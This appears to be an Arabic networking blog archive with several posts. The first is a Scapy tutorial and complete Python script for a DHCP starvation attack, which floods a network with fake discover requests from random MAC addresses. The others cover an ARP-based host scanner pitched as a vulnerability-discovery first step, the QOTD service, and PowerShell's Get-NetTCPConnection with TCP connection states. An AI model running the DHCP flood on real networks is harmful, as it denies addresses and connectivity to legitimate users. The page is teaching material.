‏إظهار الرسائل ذات التسميات الشبكات. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات الشبكات. إظهار كافة الرسائل

الاثنين، 11 أكتوبر 2021

بايثون للشبكات : تعطيل برتوكول DHCP بواسطة Scapy

بسم الله الرحمن الرحيم

 برتوكول Dynamic Host Control Protocol أو اختصارا DHCP تتلخص مهمته الأساسية في توفير عناوين الأنترنت (IP Address) بشكل ألي للأجهزة المتصلة بالشبكة , البرتوكول مفيد جدا و مستخدم بشكل كبير في الشبكات المنزلية .

في هذه التدوينة سوف نعرض شرح بسيط لخوازمية البرتوكول و تطبيق عملي لهجوم حجب الخدمة أو DDOS و الذي يعرف بهجوم DHCP starvation بواسطة مكتبة scapy.

قبل ان نبدأ لتثبيت المكتبة في ويندوز و لينكس اتبع الخطوات في هذا التدوينة .

 

  • برتوكول DHCP 

    برتوكول DHCP برتوكول يقع في طبقة التطبيقات في تمثيل OSI الخاص بالشبكات 
     
    يستخدم البرتوكول UDP على المنفذ 67 لرسائل الخادم (Server) و المنفذ  68 لرسائل العميل (Client) .

    تتلخص عملية الاتصال بالخطوات التالية :
     
    مصدر الصورة :https://en.wikipedia.org
     
    1. يقوم العميل بأرسال حزمة انترنت (Internet Packet) تحمل العنوان الخاص بالمرسل هو عنوان الأنترنت 0.0.0.0 و عنوان المستقبل 255.255.255.255 هذا العنوان يعني أنه سوف يتم ارسال هذه الحزمة للجميع , اما عن اطار الأيثرنت الذي يحتوي على هذه الحزمة فالعنوان الفيزيائي للمرسل هو الخاص ببطاقة الشبكة و العنوان المرسل إليه يكون العنوان الخاص ff:ff:ff:ff:ff:ff الذي يعني أن هذا الأطار سيتم بثه إلى جميع الأجهزة في الشبكة , في حالة عدم وجود استجابة لهذه الرسالة سيتم تجديد ارسالها على الشبكة إلى أن يحصل رد .
    2. عند وصول الطلب إلى الخادم يرد برسالة تعرض عنوان الانترنت المقترح .
    3. يرد العميل باستخدام رسالة طلب عنوان ( Request ) تحتوي على العنوان الذي تم اختياره و عنوان الخادم , يستطيع العميل استقبال رسائل من اكثر من خادم لكن يجب ان يرد على خادم واحد فقط , لذا يحتوي على معرف الخادم و عنوان الانترنت الخاص به , لأنه في هذه المرحلة لن يكون للعميل عنوان انترنت فسيتم بث هذه الرسالة للكل على نفس العنوان كما في الخطوة الأولى .
    4. المرحلة الأخيرة يرسل الخادم رسالة تبين وقت صلاحية العنوان قبل أن يحتاج الجهاز لطلب عنوان مرة أخرى و هذا الوقت يعتمد على اعدادات الخادم كما يتم توفير اي معلومات اضافية طلبها العميل في مرحلة الأكتشاف مثل عنوانين خوادم WINE و DNS و NTP و عنوان Gateway .


  • مزايا و العيوب في برتوكول DHCP

    برتوكول DHCP مفيد جدا و مستخدم بشكل كبير , تخيل فقط كمية الجهد للإعداد كل جهاز في شبكة تتغير فيها الأجهزة بشكل دائم أو تخيل تكليف شخص غير متخصص بوضع هذه الإعدادت احتمال حصول خطأ كبير جدا , لكن هناك عيب كبير في هذا البرتوكول و هو عدم وجود أي الية لتحكم في وصول المستخدم فأي طلب للحصول على عنوان سوف يتم تنفيذه من دون التحقق من صحة و مصداقية الطلب , ماذا لو قام شخص بتوليد طلبات للحصول على جميع العنوانين في الشبكة و حجزها بشكل دائما , لن يجد أي جهاز حقيقي يحاول الأتصال أي عنوان مما يؤدي لعدم قدرته على الاتصال و هذا ما سوف نستخدمه في هذه التدونية , بكل بساطة سوف نستخدم بايثون لتوليد عدد كبير من الطلبات المزيفة .




    • الأدوات

سوف نستخدم في برمجتنا لهذا السكريبت مكتبة  Scapy التي تعمل على لغة بايثون لكي تتعرف على طريقة التثبيت قم بالدخول على هذه التدوينة .

هناك ايضا شرح لموجه الأوامر الخاص بالمكتبة Scapy الذي سنتخدمه ايضا لشرح الكيفية التي سيعمل بها البرنامج


  • خطوة بخطوة

    من موجه التفاعلي للمكتبة Scapy بنبدأ في الطبقة الأولى من الأطار (frame) و هو أطار Ethernet :
     
    pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")
    
     
    الأطار بسيط فقط حددنا العنوان المرسل له وهو ff:ff:ff:ff:ff:ff و هو العنوان الخاص بعملية Broadcast في برتوكول Ethernet أما العنوان الخاص بالمرسل فاستخدمنا الدالة RandMAC تولد هذه الدالة عنوان فيزيائي عشوائي , نحتاج هنا لإرسال العديد من الطلبات بعنوان غير حقيقة و هنا هذه الدالة ستقوم بالعمل و الأن إلى الطبقة الثانية .
     
    pkt = pkt / IP(src="0.0.0.0",dst="255.255.255.255")
    
     
     الطبقة الثانية هي برتوكول IP سوف نحدد فقط العنوان المرسل كعنوان المرسل سيكون العنوان الخاص 0.0.0.0 , هذا العنوان يستخدم لدلالة على عدم وجود عنوان ففي هذه المرحلة لا يملك الجهاز عنوان انترنت , اما العنوان الخاص بالمرسل إليه 255.255.255.255 فهو عنوان خاص بعملية الارسال لجميع الأجهزة أو broadcast .

    pkt = pkt / UDP(sport=68,dport=67)
    
     
     و الأن إلى انشاء حزمة برتوكول UDP  و تحديد المنفذ المحلي برقم 68 و المنفذ الهدف بالرقم 67 , فقط هذا ما نحتاج له .

    pkt = pkt / BOOTP(op=1,chaddr=RandMAC())
    
     
     هنا سنضيف طبقة خاصة ببرتوكول BOOTP , هذا البرتوكول اقدم من برتوكول DHCP و يقول بنفس العمل , لكن كان يستخدم لعملية اعطاء الأجهزة عديمة الأقراص عنوان انترنت و تحميل النظام من الشبكة و هو يعمل على نفس المنافذ الذي يستخدمها برتوكول DHCP لذا لا يمكن ان يعملا على نفس الجهاز , المتغير op يحتمل قيمتين فقط 1 و 2 القيمة 1 ترمز لـ BOOTREQUEST اي طلب برتوكول BOOTP و القيمة 2 ترمز لــ
    BOOTREPLY  اي رد على طلب خاص بهذا البرتوكول , أما المتغير chaddr فهو اختصار لـ Client Hardware Address أي العنوان الفيزيائي للعميل و هنا استخدمنا ايضا الدالة RandMAC لتوليد عنوانين عشوائية .
     

    pkt = pkt / DHCP(options=[('message-type','discover'),('end')])
    
     
     
    المعلومات التي ترسل المطلوبة و التي يوفرها الخادم كلهما يرسل عن طريق رقم يدل على الأختيار Options , لكن scapy تستخدم قيمة نصية تدل على نوع الأختيار ثم قيمته و يتم وضعها في tuple كمثالنا ('message-type','discover') أما التمثيل في الحزمة فيكون قيمة رقمية ثم طول القيمة بالبايت ثم القيمة , و في نهاية الحزمة يجب وضع end و التي هي عبارة عن القيمة ff أو بالتمثيل العشري 255 .

    'طبعا scapy يقوم بالاهتمام بالكثير من التفاصيل بدل ترك المستخدم يهتم بكل شيء و لكي تعرض الحزمة التي قمنا بأنشاءها استخدم الدالة show2 كالتالي :


     
    ###[ Ethernet ]### 
      dst= ff:ff:ff:ff:ff:ff
      src= 61:bf:93:29:c6:e5
      type= IPv4
    ###[ IP ]### 
         version= 4
         ihl= 5
         tos= 0x0
         len= 272
         id= 1
         flags= 
         frag= 0
         ttl= 64
         proto= udp
         chksum= 0x79dd
         src= 0.0.0.0
         dst= 255.255.255.255
         \options\
    ###[ UDP ]### 
            sport= bootpc
            dport= bootps
            len= 252
            chksum= 0xea44
    ###[ BOOTP ]### 
               op= BOOTREQUEST
               htype= 1
               hlen= 6
               hops= 0
               xid= 0
               secs= 0
               flags= 
               ciaddr= 0.0.0.0
               yiaddr= 0.0.0.0
               siaddr= 0.0.0.0
               giaddr= 0.0.0.0
               chaddr= b'e5:a4:e8:d9:77:e'
               sname= b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
               file= b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
               options= 'c\x82Sc'
    ###[ DHCP options ]### 
                  options= [message-type=discover end]
    
     
 
و الأن قبل أن نبدأ بالارسال هنالك مشكلة scapy دائما يتأكد من عنوان المرسل إليه عند وصول الرد و في الرسالة التي نرسلها سيكون العنوان 255.255.255.255 و لكن الرد سيحمل عنوان الخادم الخاص ببرتوكول DHCP لذا يجب ان نعطل هذه الخاصية باستخدام هذا السطر :
 
conf.checkIPaddr = False
 
 
 و الأن إلى السطر الأخير و هو سطر الأرسال :
 
sendp(pkt,loop=1)
 
 في حالة عدم تحديد المنفذ او ما يسمى بــ" interface " سيتم الأرسال على المنفذ الافتراضي الذي تستطيع معرفته بواسطة :
 
conf.iface
 
و لتحديد المنفذ في امر الأرسال استخدم المتغير iface في امر الأرسال كالتالي :
 
sendp(pkt,iface="eth0",loop=1)
 
 و هذا هو نتيجة تنفيذ البرنامج على رواتر سيسكو عند تنفيذ الأمر الخاص بعرض العنوانين المحجوزة في خادم DHCP :

show ip dhcp binding



تلاحظ بأن العنوانين جميعها محجوزة لذا أذا حاول أي جهاز حقيقي طلب عنوان من خادم DHCP لين يقدم له الخادم عنوان لعدم توافره لكن يأتي السؤال هنا لماذا يتم حجز هذه العناوين برغم أنه لن تتكمل عملية المصادقة فقط قمنا بأرسال طلب عنوان فقط , ببساطة يقوم الخادم بحجز العنوان مباشرة لأنه يقوم بأرسال العنوان في رسالة DHCP Offering بحسب تصميم البرتوكول , لذا في حالة وقف الهجوم سوف يتم تحرير العنوانين في وقت قصير لعدم اكتمال عملية حجز العنوان .

  • السكريبت المكتمل 


     

    * تم وضع صورة للنص البرمجي بسبب وجود مشكلة في النص حيث أن العلامة \ تظهر في اول السطر بدل أن تكون في أخر كل سطر .
#!/usr/bin/python3
from scapy.all import conf,Ether,IP,RandMAC,UDP,BOOTP,DHCP,sendp

conf.checkIPaddr = False


dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff",src=RandMAC()) \
/IP(src="0.0.0.0",dst="255.255.255.255") \
/UDP(sport=68,dport=67) \
/BOOTP(op=1,chaddr=RandMAC()) \
/DHCP(options=[('message-type','discover'),('end')])

#غير الواجهة بحسب جهازك
sendp(dhcp_discover,iface="eth0",loop=1,verbose=1)
 
 
 
  • المصادر 


    لقد أعتمدت في كتابة هذا الموضوع على هذا الفيديو و انصح بمشاهدته و متابعة هذا القناة:


 و النهاية  ان شاء الله يكون الشرح بسيط و مفيد و إذا في خطأ او أضافة أو سؤال تقد تتواصل معي على المدونة مباشرة بالتعليقات .

 
 

الاثنين، 20 سبتمبر 2021

بايثون للشبكات : برنامج يستخدم برتوكول ARP لعرض جميع الأجهزة المتصلة على الشبكة المحلية

 بسم الله الرحمن الرحيم

الحصول على عنوان الأنترنت الخاص بالإجهزة على الشبكة هو الخطوة الأولى لكي تبدأ عملية اكتشاف نقاط الضعف في هذه الأجهزة , و في هذه التدوينة سوف نبني برنامج بايثون يقوم بهذه المهمة , و هنا يأتي السؤال لماذا ؟ , ألا يوجد برامج تقوم بهذا العمل و تغني عن هذا المجهود , الأجابة نعم  لكن افضل طريقة للتعلم هو التطبيق, سنبدأ أولا بشرح نظري للطريقة التي سنستخدمها مع نظرة لبرتوكول ARP , ثم تثبيت مكتبة Scapy في ويندوز و لينكس و أخيرا سوف نقوم بكتابة سكريبت يقوم باستخدام بروتوكول ARP لكشف الأجهزة المتصلة .


  • نظرة لبرتوكول ARP :

Address Resolution Protocol أو أختصاراً (ARP) , هو برتوكول يهدف لعرض العنوانين الفزيائية أو ما يسمى بعنوان MAC المرتبط بعنوان الأنترنت ( IP Address ) و العكس صحيح .

لنفترض بأنك تريد الاتصال بكمبيوتر يوجد على الشبكة المحلية و لديك عنوان الأنترنت (IP) فتحصل الخطوات التالية :
  1. سيبحث جهازك عن العنوان الفزيائي في جدول العناوين الموجود على النظام  والمسمى ARP Caching Table .
  2. في حالة وجود هذا العنوان في الجدول سوف يتم الأعتماد عليه بدون ارسال طلب ARP .
  3. في حالة عدم وجود العنوان سوف يرسل الجهاز طلب ARP Request لجميع الأجهزة المتصلة (Broadcast message).
  4. جهاز الــ"switch" سيقوم بأرسال هذه الرسالة لجميع المنافذ النشطة ما عدا المنفذ الذي تم منه الأرسال .
  5. عند وصول الرسالة إلى الجهاز الذي يحمل عنوان الأنترنت المطابق سوف يرد برسالة تحمل عنوانه الفيزيائي .
  6. في حالة عدم وجود جهاز يحمل عنوان الأنترنت على الشبكة المحلية سوف ينتهي وقت انتظار الرد و يفترض الجهاز المرسل بأنه لا وجود لهذا الجهاز .

هذه صورة لطلب ARP Request من برنامج wireshark , تلاحظ بساطة البروتوكول :


 الرد في برتوكول يكون العنوان البديل لعنوان البث (Broadcast ) و سوف تكون الرسالة موجهة بشكل  مباشر للمرسل (Unicast) ونوع الرسالة Opcode هو Reply .


هذا شرح مبسط جدا لهذا البرتوكول , و السبب لوجوده بأن الرسائل داخل الشبكة المحلية يتم تبدلها بواسطة برتوكول Ethernet  الذي يعمل في طبقة ربط البيانات (Data Link) والذي يستخدم العنوان الفيزيائي للاتصال  , كما يظهر لك نموذج OSI .


هنا قد تتساءل لماذا لا نستخدم برتوكول ICMP و اشهر تطبيقاته و هو الأمر Ping في انظمة ويندوز و لينكس , السبب هو أن الكثير من الأجهزة مثل الهواتف الذكية و جدران النار تحظر هذا البرتوكول و تقوم بمنع الرد على رسائله, أما في حالة برتوكول ARP فمن الصعب تعطيله لأنه اساسي لعملية الأتصال كما رأيت .


  • تثبيت مكتبة Scapy 

مكتبة Scapy هي مكتبة متخصصة في بناء و ارسال حزم شبكات معدلة و ارسالها عبر الشبكة , امكانيات هذه المكتبة كبيرة جداٌ و تعطي المبرمج امكانيات رائعة .

التثبيت في نظام لينكس :

لمستخدمي توزيعة Ubuntu أو اي توزيعة تستخدم مدير الحزم Apt فقط اكتب الأمر في موجه الأوامر :

sudo apt-get install scapy


التثبيت في نظام ويندوز :

لتثبيت في ويندوز سوف نستخدم توزيعة البايثون Anaconda , هذه التوزيعة من الأشهر في مجال علم البيانات ( Data sciences ) و ما يميزها هو سهولة تثبيت المكتبات و وجود محرر ممتاز لذا سوف نستخدمها في حالتنا .

  1. قم بتنزيل التوزيعة من الموقع الرسمي ( https://www.anaconda.com/products/individual-d ) .
     
    2. اتبع خطوات التثبيت 
     



    3. تأكد من تفعيل خيار أضافة مجلد التثبيت إلى متغير مسار البرامج ( PATH )


 4. بعد أنتهاء التثبيت قم بتشغيل برنامج Anconda من القائمة Start 




5. عندما ينتهي تحميل البرنامج ستظر لم نافذة كالتالي :



6. أختر من القائمة على اليمين Enviroments :





7. و لتحديث قائمة المكتبات أضغط "Update Index" و غير العرض إلى جميع المكتبات ثم أبحث عن المكتبة scapy و اضغط في اسفل المكتبة على الخيار Apply :

 
للتأكد من نجاح التثبيت قم بتشغيل موجه الأوامر الخاص بالمكتبة Scapy في نظام ويندوز من القائمة Start أكتب في مربع البحث أكتب "Cmd" و أختر "Run as Administrator" :
 

 اكتب في موجه الأوامر Scapy أذا ظهر لك موجه الأوامر كالتالي فيعني أننا نجحنا في التثبيت :


في نظام ليكنس فقط أكتب الأمر كالتالي , يجب أن يظهر لك موجه الأوامر مشابه لما في ويندوز :

sudo scapy


  • الموجه التفاعلي لمكتبة Scapy

    قبل أن نكتب السكريبت في بايثون سوف نستغل خاصية الموجه الأوامر في Scapy و الذي هو عبارة عن موجه python مع تفعيل المكتبة Scapy.
     
    هذه الخاصية اعتبرها من الأمكانيات الممتازة حيث يمكن تجريب و التعديل بشكل مباشر و سريع لكي تتأكد من نجاح برنامجك.

    لنبدأ أولا بأنشاء الاساس في أطار الشبكة الخاصة ببرتوكول ARP , البرتوكول مبنى و مضمن في أطار ايثرنت (Ethernet Frame) .
    * يجب أن أنوه بأن برتوكول ARP مستخدم في أكثر من أطار للشبكات , ولكن للشبكات المحلية الأطار المستخدم هو ايثرنت .
     
    و لكن قبل أن ننشىء هنا عرض مبسط لمكونات الإطار و شرح لها :

    المصدر :https://commons.wikimedia.org/wiki/File:Ethernet_II_Frame_Structure.png


    هذه الصورة لإطار ايثرنت ( اقصد بالإطار Frame و هي الكلمة المستخدمة للحزم في الطبقة الثانية من OSI للشبكات ) و الشرح ببساطة :

    1. Preamble : هو مجموعة 56 بايت تستخدم لمزامنة ساعة المستقبل على نفس ساعة المرسل ( Clock Sync )  و هنا لا نعني التوقيت كالوقت و التاريخ , هذا المصطلح يخص الإلكترونيات , و هذا النطاق يخص الطبقة الأولى من من OSI وسوف اتجنب شرحها لكي لا أعقد الموضوع .
    2. SFD : اختصار لــ  Start Frame Delimiter بداية البيانات الخاص بالإطار أيضا يقع في الطبقة الأولى من OSI .
    3. Destination Address : العنوان الفيزيائي للبطاقة الشبكة (Mac Address ) المرسل لها البيانات يتكون من 6 بايتات يتم عرضه بتمثيل Hexadecimal و فصل بين كل بايت بـ ":" .
    4.  Source Address : العنوان الفيزيائي للبطاقة الشبكة (Mac Address ) المرسل منها البيانات يتكون من 6 بايتات ايضا و يتبع نفس التمثيل كما في العنوان المرسل له .
    5. النوع : بحسب البرتوكول المستخدم في حالتنا سيكون ARP و سيحمل القيمة 0x0806.
    6.  البيانات : البيانات الفعلية
    7. FCS : هذه القيمة تمثل ناتج معادلة تأكد للمرسل أذا حدث خطأ في نقل البيانات , حيث يتم تنفيذ نفس المعادلة في المرسل و المستقبل و في حالة أختلاف القيمة في المرسل يتم أفتراض حصول خطأ .


    في Scapy يمكن الوصول إلى العنوان المرسل و المستقبل و البيانات و النوع , و FCS متروكين للنظام أما Preamble و SFD فهما متروكين لبطاقة الشبكة .
     
    لإنشاء أطار Ethernet في Scapy فقط استخدم الأمر التالي الذي سوف ينشأ أطار Ethernet و يسنده إلى المتغير الخاص بنا:
myFrame = Ether()

لعرض مجتويات هذا الأطار فقط أستخدم الدالة show كالتالي :

myFrame.show()

سيعرض لك القيم التي تستطيع تغيرها في الإطار كالتالي :
###[ Ethernet ]###
dst= ff:ff:ff:ff:ff:ff
src= 11:36:12:54:14:49
type= 0x9000


العنوان الذي في خانة dst و الخاص بإطار Ethernet هو عنوان broadcast و معناه أرسال هذه الرسالة لجميع المنافذ ما عدا المنفذ المرسل , في نظام ويندوز لن يكون هذا العنوان للمرسل , للتغيير فقط قم بدخل للمتغير dst في كائن (Object) الإيثرنت الذي إنشائنا :


myFrame.dst = "ff:ff:ff:ff:ff:ff"

أما عنوان المرسل فالمكتبة تستخدم عنوانك الفيزيائي للبطاقة المستخدمة , في حالة برنامجنا فهذا هو المطلوب .

و الأن قد تتساءل لماذا لم نغير نوع الاطار (Frame) لنوع أطار برتوكول ARP , لكي تعرف السبب سوف نضيف طبق برتوكول ARP للإطار الذي تم إنشائه :

myFrame = myFrame / ARP()

الأن قم بعرض الإطار بأستخدام الدالة show و لاحظ التغير :

>>> myFrame.show()
###[ Ethernet ]###
dst= ff:ff:ff:ff:ff:ff
src=
11:36:12:54:14:49 
  type= ARP
###[ ARP ]###
hwtype= 0x1
ptype= IPv4
hwlen= None
plen= None
op= who-has
hwsrc=
11:36:12:54:14:49 
     psrc= 192.168.1.148
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0

>>


هل لاحظت نوع إطار الإيثرنت , لقد تغير إلى ARP , بدون أي داعي من قبلك لتغيير أي شيء , كما أن طريقة العرض و الأضافة كطبقات تسهل عملية الأضافة و البرمجة .
نوع ARP هنا تجده في القيمة op هو who-has هو طلب استفسار عن العنوان الفيزيائي لعنوان أنترنت و هو المطلوب لبرنامجنا لذا لن نغير أي شيء , العنوان الفيزيائي للجهة المرسل إليها في الطبقة الخاصة ببرتوكول ARP هي 00:00:00:00:00:00 و هو ايضا عنوان خاص بالإرسال إلى الكل (broadcast) .

نحتاج فقط لوضع عنوان الأنترنت الذي نريد التأكد من وجوده في الشبكة المحلية , نستطيع أن نكتب عنوان واحد كالتالي :

myFrame.pdst = "192.168.1.114"

و لكن تذكر نريد أن نعرض جميع الأجهزة المتصلة , قد تقترح أن تقوم بعمل حلقة تكرارية (Loop) كالتالي :

for i in range(1,254):
    myFrame.pdst = "192.168.1." + str(i) 
    #الإرسال هنا و الاستقبال - سنضيف ذلك  
 
 هذا حل جيد و لكن هنالك طريقة أفضل فمكتبة Scapy توفر أمكانية استخدام المدى لعنوانين الأنترنت فنكتب كالتالي :


myFrame.pdst = "192.168.1.0/24"

 و الأن إلى الأرسال و عرض النتائج باستخدام الدالة srp التي تقوم لنا بعملية الأرسال و الأستقبال حرف p في نهاية اسم الدالة يدل على أنها ترسل و تستقبل في الطبقة الثانية ( Data Link ) من نموذج OSI , هذه الدالة ترجع Tuple يحتوي على الطلبات التي تم الأستجابة لها و التي تم رفضها , لكي تقوم بتجاهل الطلبات التي تم تجاهلها فقط أستبدل اسم المتغيرunanswered بـ _ :

answered , unanswered = srp(myFrame,timeout2)

وهنا الأمر بعد التعديل لتجاهل الطلبات التي لم يتم الرد عليها :
 


answered , _ = srp(myFrame,timeout2)
 
 لعرض النتائج تستطيع استخدام الدالة summary الموجودة في المكتبة كالتالي :

answered.summary()

لتقليل البيانات المعروضة استخدم هذا الحلقة التكرارية , سوف نقوم بدوران في القائمة التي لدينا و التي تحتوي على tuple يحتوي على البيانات المرسلة و المستقبلة   و سوف نقوم بتجاهل ما تم ارسالها و عرض فقط الردود :

for _ , recv in answered :
    print(recv.summary())
 

 
هذا الخطوات هي ببساطة ما سوف يقوم به السكريبت , الأن سوف نضع هذه الأوامر في سكريبت .
 
 
  • السكريبت النهائي :

 
#!/usr/bin/env python
import sys
from scapy.all import srp,Ether,ARP,conf

#الحصول على مدى عنوانين الشبكة او في حالة وجود عنوان واحد

if len(sys.argv) != 2:
    print("Usage:arping.py <Net or IP> Ex. 192.168.1.0/24 or 192.168.1.10")
    exit(1)
#ايقاف  عرض البيانات الأضافية الخاصة بعملية الأرسال 
conf.verb = 0

target = sys.argv[1]
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=target)

#في حالة وجود خطأ في عنوان الأنترنت أو المدى
try:
    answerd, _ = srp(pkt,timeout=4)
except Exception as e:
    print("Error: " + e.__class__, " occurred.")
    exit(2)



for _ , recv in answerd :
    #عرض فقط عنوان الانترنت الخاص بالمرسل
    #أذا اردت معلومات أكثر استخدم summary 
    print("IP:" + recv.psrc) 
 
 
 
 
 لتشغيل السكريبت في ويندوز , افنح موجه أوامر خاص بمدير النظام ثم أكتب python متبوعا بمسار الملف الذي حفظته :

python C:\Users\abgoor\Desktop\arping.py 192.168.1.0/24

 أما في نظام لينكس فيجب أن تحول الملف لملف تنفيذي باستخدام الأمر chmod ثم لتنفيذ الأمر استخدم النقطة "." ثم مسار الملف :
 
 
chmod +x /home/abgoor/script/arping.py

. /home/abgoor/script/arping.py 192.168.1.0/24
 
 
  • الخاتمة

    احساس الإنجاز شعور جميل , رغم بساطة برنامجنا إلا أنه يعمل و بشكل جيد , طبعا أريد منك أنك تحاول تطور البرنامج و في الأخير هذا لن يكون الموضوع الأخير عن مكتبة Scapy , هذه المكتبة تعطيك اختيارات غير محدودة في برمجة الشبكات, و أن شاء الله سوف نحاول نغطي هذه الإمكانيات في أكثر من موضوع .
    أذا اعجبك الموضوع طلب بسيط دعوة طيبة منك تكفي :-) .
     

السبت، 14 أغسطس 2021

QOTD : حكمة اليوم

حكمة اليوم

QOTD

اعتقد أن العنوان يوحي بأن الموضوع يحتوي حكمة اليوم , لكن الموضوع هو عن خدمة من مجموعة اتصالات الانترنت موثقة تعمل على المنفذ 17 للبرتوكول TCP و UDP , و كما يوحي الأسم فهدفها تمكين مدير النظام من بث رسالة تحتوي على حكمة اليوم على أجهزة المستخدمين في الشبكة , هذه الخدمة حاليا غير معروفة لدى الكثيرين و غير مستخدمة , لكن يمكنك تجريبها بأستخدام أحد هذه الخوادم التي لا زالت توفر الخدمة و بدون أي برامج اضافية على جهازك و هذه قائمة الخوادم :
  1. djxmmx.net
  2. alpha.mike-r.com
  3. cygnus-x.net
 
 من موجه الأوامر في جهازك ( ويندوز أو لينكس ) أكتب الأمر التالي :
 
telnet djxmmx.net 17

سيتم طباعة حكمة اليوم ثم انهاء الاتصال :

لمستخدمي جهاز ويندوز الأمر telnet معطل بشكل افتراضي في ويندوز 10 , لتفعيل اتبع الخطوات التالية :

  • من قائمة ابدأ اكتب في مربع البحث Windows features ,  و اختر Turn Windows features on or off
  • من القائمة التي ستظهر لك ابحث عن Telnet Client و تأكد من اختياره , ثم اضغط على الزر Ok


انصحك بزيارة هذه الصفحة التي استفدت منها في هذا الموضوع , تحتوي على مثال باللغة بايثون لعميل و خادم لهذه الخدمة :

الجمعة، 13 أغسطس 2021

بديل برنامج netstat في ويندوز : استخدم powershell للتحقق من اتصالات الجهاز

 بسم الله الرحمن الرحيم

لغة السكريبت powershell التي طورتها  مايكروسوفت تعطيك القدرة على التحكم الكامل في نظامك و أنشاء برامج تمكنك من تحويل الوظائف المملة إلى ألية بشكل كامل، في هذا المقال سوف استعرض الاوامر الاساسية مع بعض الاستخدامات لها، هذا الأوامر سوف تساعدك على استبدال الأمر netstat الذي ما زال موجوداً في نظام ويندوز 10 .
  • الوصول إلى موجه أوامر powershellمن نظامك أختر قائمة إبدأ (Start) :
     

  • أختر  Windows Power Shell


و الأن إلى أول أمر في سطر الأوامر :
Get-NetTCPconnection
 
ملاحظة سطر الأوامر في powershell لا يهتم بحالة الأحرف فأذا كتبت الأمر كالتالي get-nettcpconnection فسينجح تنفيذ الأمر 


هذه الصورة مثال لما سيظهر لك عند تنفيذ الأمر , طبعا ستكون القائمة طويلة لذا اذا اردت ان تظهر لك بالتدريج استخدم هذا الأمر :
Get-NetTCPconnection | more
 و الأن لما هو معنى كل هذا البيانات  لنبدأ بالسطر الأول :


 هذا السطر يظهر العنوان المحلي في الاغلب في الحالات يكون العنوان الخاص بالجهاز على الشبكة المحلية أو العنوان 127.0.0.1 أو العنوان الخاص 0.0.0.0  ( هذا العنوان خاص في حالات مثل عرض عنوان غير معروف كمثال المنفذ في حالة انتظار الانتصال Listen  يعرض العنوان المتصل بهذا العنوان ) .

 

 هذا السطر يعرض رقم المنفذ المحلي , و بالنسبة للأهمية هذا السطر فالمنفذ المحلي للأستخدام النظام للتميز بين الاتصالات الواردة  و لكن قد تحتاجه لمعرفة أذا كان نظامك يعاني من مشكلة تسمى ports exhaustion أو ما يمكن ترجمته لإستهالاك المنافذ , حيث أن عدد المنافذ المحلية و الخارجية محدود ( 0 - 65535 ) , و في بعض الاحيان بسبب برنامج يعاني خطأ برمجي يتسبب في عدم تحرير موارد النظام يستهلك جميع المنافذ المحلية المتاحة  .

 

هنا يأتي العنوان الذي يتم الأتصال به , و في الصورة سوف تجد العنوانين 0.0.0.0 ( الخاص ببرتوكول IP النسخة الرابعة ) و :: ( الخاص ببرتوكول IP النسخة السادسة ) و يكون هذا في حالة عدم معرفة العنوان في حالة المنافذ التي تنتظر الاتصال (listen) .

هنا ترى المنفذ الذي يقوم جهازك فيه بالاتصال بالعنوان الخارجي (Remote Address) وتلاحظ أنه في اخر الصورة تجد المنفذ 443 الخاص ببرتوكول HTTPS .

و هذا السطر يحتوي على حالات الأتصال و الان لشرح هذه الحالات :

  • Bound : هي حالة انتقالية عند حجز المنفذ و العنوان المحلي (Bind) قبل وضعية انتظار الانتظار (Listen) .
عملية انشاء مقبس لخادم , العملية متشابه في جميع لغات البرمجة , و قد تختلف بشكل بسيط


  • هنا سوف تجد مجموعة حالات خاصة بأنشاء الاتصال , أو ما يسمى في برتوكول TCP بالمصافحة (handshake) , و سوف تختصر هذا الصورة معنى كل مرحلة :
  •  
  •  عند بدأ الاتصال يقوم الجهاز الراغب في الاتصال (Client) بحجز منفذ محلي و عنوان ويحول حالته إلى SynSent بعد إرسال رسالة SYN إلى الهدف .
  • في حالة كون المنفذ متاح في الهدف يقول الجهاز المتصل به (Server) بحجز منفذ محلي و وضع حالته  SynRecevied وإرسال رسالة SYN-ACK التي تدل على قبول الاتصال إلى العميل (Client) .
  • بعد ذلك يحول العميل (Client) حالة الاتصال إلى Established و يرسل رسالة تتختم عملية المصافحة و هي رسالة SYN اخرى ليتحول حالة Established و يبدأ تبادل البيانات .
الحالات التي ترتبط بالاتصال بالترتيب و حسب الاسم المستخدم في Powershell :
  1. SyncSent
  2. SynReceived
  3. Established

و الأن إلى شرح الحالات المرتبطة بعملية انهاء الاتصال و سنبدأ بصورة تشرح خطوات إنهاء الاتصال في برتوكول TCP :

  • يقوم الجهاز الذي يرغب بأنهاء الاتصال بأرسال رسالة FIN و تحويل حالة الاتصال إلى FINWAIT1 .
  • عند وصول الرسالة إلى الهدف يتم تحويل حالة الاتصال إلى CloseWait و إرسال رسالة ACK.
  • عند وصول الرسالة إلى الجهاز الراغب بإنهاء الاتصال يتم تحويل حالة الاتصال إلى FINWAIT2 , في هذه الحالة لا يزال الخادم يرسل البيانات .
  •  عند نهاية الارسال يرسل الخادم رسالة LastAck , ليحول الاتصال في الطرف المنهي للاتصال إلى الحالة TimeWait و يتم أرسال رسالة ACK ليتم أنهاء الاتصال في الطرفين .
